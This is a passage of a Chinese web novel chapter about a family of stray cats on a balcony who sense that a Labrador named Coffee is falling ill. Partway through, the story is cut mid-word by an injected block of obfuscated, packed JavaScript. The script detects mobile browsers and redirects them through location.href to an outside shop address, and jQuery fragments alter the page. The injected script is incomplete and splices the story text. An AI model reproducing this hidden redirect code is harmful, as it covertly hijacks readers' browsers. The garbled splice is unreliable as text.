时光在阳台屋檐下静默而紧绷的平衡中流逝。春天彻底绽放，又向着盛夏稳步迈进。阳光变得灼热，阳台上的植物越发茂盛，为两个木箱提供了更好的荫蔽。
墨点一家逐渐适应了这种“影子住户”的生活。幼崽们长大了许多，小黑沉稳，小玳活泼，斑斑憨厚，它们开始对木箱外朦胧的世界产生好奇，但被雪绒严格约束着。墨点肩负着更多的警戒和“教育”职责，教它们辨识哪些声音代表安全，哪些需要立刻静止，如何在狭小空间里互相理毛和游戏而不发出太大动静。
与Besty保持着冷淡而稳定的互不侵犯。与Rocky的智力博弈仍在继续，但科瓦时不时的“空中骚扰”和韩慧日益严格的管教，让Rocky的恶作剧频率和破坏力有所下降。乌龙依旧远远避开，Coffee的热情被牵引绳和命令束缚在可控范围。
然而，一种极其细微的、难以言喻的变化，正在那只总是充满无尽活力的白色拉布拉多——Coffee身上悄然发生。
最先察觉到异样的，是墨点。
那是一个温暖的清晨，韩慧照例带着三只犬来到阳台放风。Coffee依然第一个冲出来，尾巴摇晃，但墨点敏锐地注意到，它那招牌式的、仿佛永不耗尽的冲刺速度，似乎……慢了一丝？不是疲倦的那种慢，而是一种微妙的、力量输出的迟疑。它的吠叫声依然清亮，但中气似乎不如以往那般浑厚绵长。
起初，墨点以为只是自己的错觉，或是Coffee前一天玩得太累。但接下来几天，他暗中更加仔细地观察。
他看见Coffee在追逐飞过阳台的蝴蝶时，跳跃的高度比记忆中的低了；在韩慧抛出玩具时，它冲刺接住的瞬间，步伐偶有极其细微的凌乱，不像以前那样精准有力；甚至，在它最兴奋地绕着阳台跑圈时，呼吸声会变得比预期更急促一些，需要更长时间才能平复。
这些变化极其微小，混杂在它依旧蓬勃的外向性格和欢乐表现中，几乎难以察觉。连韩慧似乎都未立刻发现，只是有时会摸着Coffee的头笑着说：“我们Coffee今天好像有点小懒哦？”但语气里并无担忧。
然而，墨点作为一只在生存压力下磨砺出极致观察力的猫，他捕捉到了这些不协调的“音符”。一种莫名的、沉甸甸的预感，如同初春的寒潮，悄无声息地漫上他的心头。
他悄悄将自己的观察告诉了雪绒。雪绒听后，沉默良久，冰蓝色的眼眸透过缝隙，望向那只正在阳光下惬意打滚、将白色皮毛沾上尘土却依然笑得无忧无虑的大狗。
“生命有自己的季节，墨点。”雪绒的声音很轻，带着一种遥远的、近乎悲悯的意味，“有的季节很长，有的……可能比我们以为的要短。尤其是在两脚兽的世界里，它们有时会被保护得很好，但也可能因此，掩盖了一些更深层的东西。”
“它生病了吗？”墨点问。
“不确定。可能是成长过程中的小问题，也可能……”雪绒没有说下去，转而道，“继续观察，但不要投入不必要的情绪。我们的处境，不允许我们为其他生命的轨迹分心太多。记住，我们只是暂时的借住者。”
墨点明白母亲的意思。生存是第一要务。但看着Coffee那依旧灿烂的、毫无阴霾的眼睛，看着它努力表现出和往常一样的快乐模样（或许它自己都未察觉身体的微妙变化），一种复杂的情绪在墨点心中萦绕。那是面对一种纯粹、热烈的生命力可能正在无形中缓慢流逝时，本能产生的触动。
几天后的一个傍晚，变故以一种更明显的方式显露。
韩慧在阳台训练三只犬“等待”和“召回”。轮到Coffee时，它像往常一样坐得笔直（虽然屁股微微扭动），眼睛死死盯着韩慧手中的零食。当韩慧发出“可以”的指令时，Coffee如箭般射出！
但就在它即将冲到韩慧面前时，它的前腿似乎软了一下，整个身体向前踉跄，差点摔倒！它及时撑住了，没有真的倒下，但那个瞬间的失衡和随之而来的、它自己都有些困惑的停顿，清晰可见。
“Coffee？”韩慧脸上的笑容消失了，取而代之的是关切。她立刻蹲下，扶住Coffee，仔细检查它的四肢，抚摸它的胸口和背部。“怎么了？腿不舒服吗？”
Coffee晃了晃脑袋，似乎不明白发生了什么，随即又兴奋起来，用舌头去舔韩慧的脸，尾巴使劲摇着，仿佛在说“我没事！零食！零食！”
韩慧把零食给了它，但眉头紧锁，眼神里的担忧再也掩饰不住。她轻轻揉着Coffee的腿部和关节，低声和闻声出来的林朗说着什么。
林朗也蹲下检查，神情严肃。他们讨论了一会儿，决定第二天带Coffee去看“医生”（墨点从科瓦那里知道，两脚兽有专门给动物看病的地方）。
那天晚上，阳台内的气氛似乎有些不同。往常的温馨笑语中，掺杂了一丝不易察觉的低沉。Cof
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218521|197467||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
fee依然趴在韩慧脚边，享受着抚摸，但韩慧的手停留在它身上的时间更长了，眼神也常常飘忽，带着忧思。
木箱里，墨点和雪绒沉默着。幼崽们已经睡了。
“它可能真的……时间不多了。”雪绒最终轻声说道，像是在陈述一个事实，而非猜测。
墨点没有回答。他看着玻璃门内温暖的灯光下，那个巨大的、白色的、依然试图表现快乐的身影，心中那片沉甸甸的预感，化为了冰冷的现实。
生命的脆弱与无常，以这样一种安静而渐进的方式，再次展现在他面前。无关狩猎，无关战斗，而是一种来自生命内部的、无法抗拒的消褪。
Coffee的最后一个春天，或许就在这样明媚而渐显乏力的日子里，悄然走向尾声。它自己或许还未真正知晓，但它那曾经仿佛能点燃整个世界的热情火焰，似乎正从内核深处，微微地、不易察觉地，减弱着。
对墨点而言，这是一次关于生命终局的、沉重而直观的教育。在这堂课上，没有鲜血，没有嘶吼，只有阳光下细微的踉跄，和灯光里人类眼中深藏的哀伤。
他忽然想起乌龙身上的伤痕，想起父亲暗夜的失踪。每个生命都背负着各自的印记，或显或隐，或来自外部，或源于内部。而此刻，Coffee正在背负的，或许是一种名为“时间”或“疾病”的隐形印记。
Garden里的生命图景，因此而增添了更深沉、更复杂的一笔。这里不仅有新生（他的弟弟妹妹）、成长（幼犬们）、独立的坚守（月光、米鲁克）、潜在的威胁（疤脸），现在，又多了迫近的、宁静的离别。
墨点将目光从Coffee身上移开，落在身边蜷缩着的三个弟弟妹妹身上。它们呼吸均匀，睡得正香，小小的身体随着呼吸轻轻起伏，充满了无限的未来与可能。
守护的意义，在这一刻，变得前所未有的具体而沉重。他要守护的，不仅是此刻的安全，还有这些脆弱生命得以延续、成长、去经历它们自己或长或短的“四季”的机会。
夜色渐深。阳台内，韩慧将Coffee轻轻抱在怀里，像抱着一个孩子。Coffee发出满足的咕噜声，慢慢闭上了眼睛。
而在外面的木箱里，墨点也闭上了眼睛，将弟弟妹妹们往自己身边拢了拢。
明天，Coffee会去看医生。而他们的生活，无论阳台内外，都将继续，在生命的循环与无常中，寻找各自的位置与意义。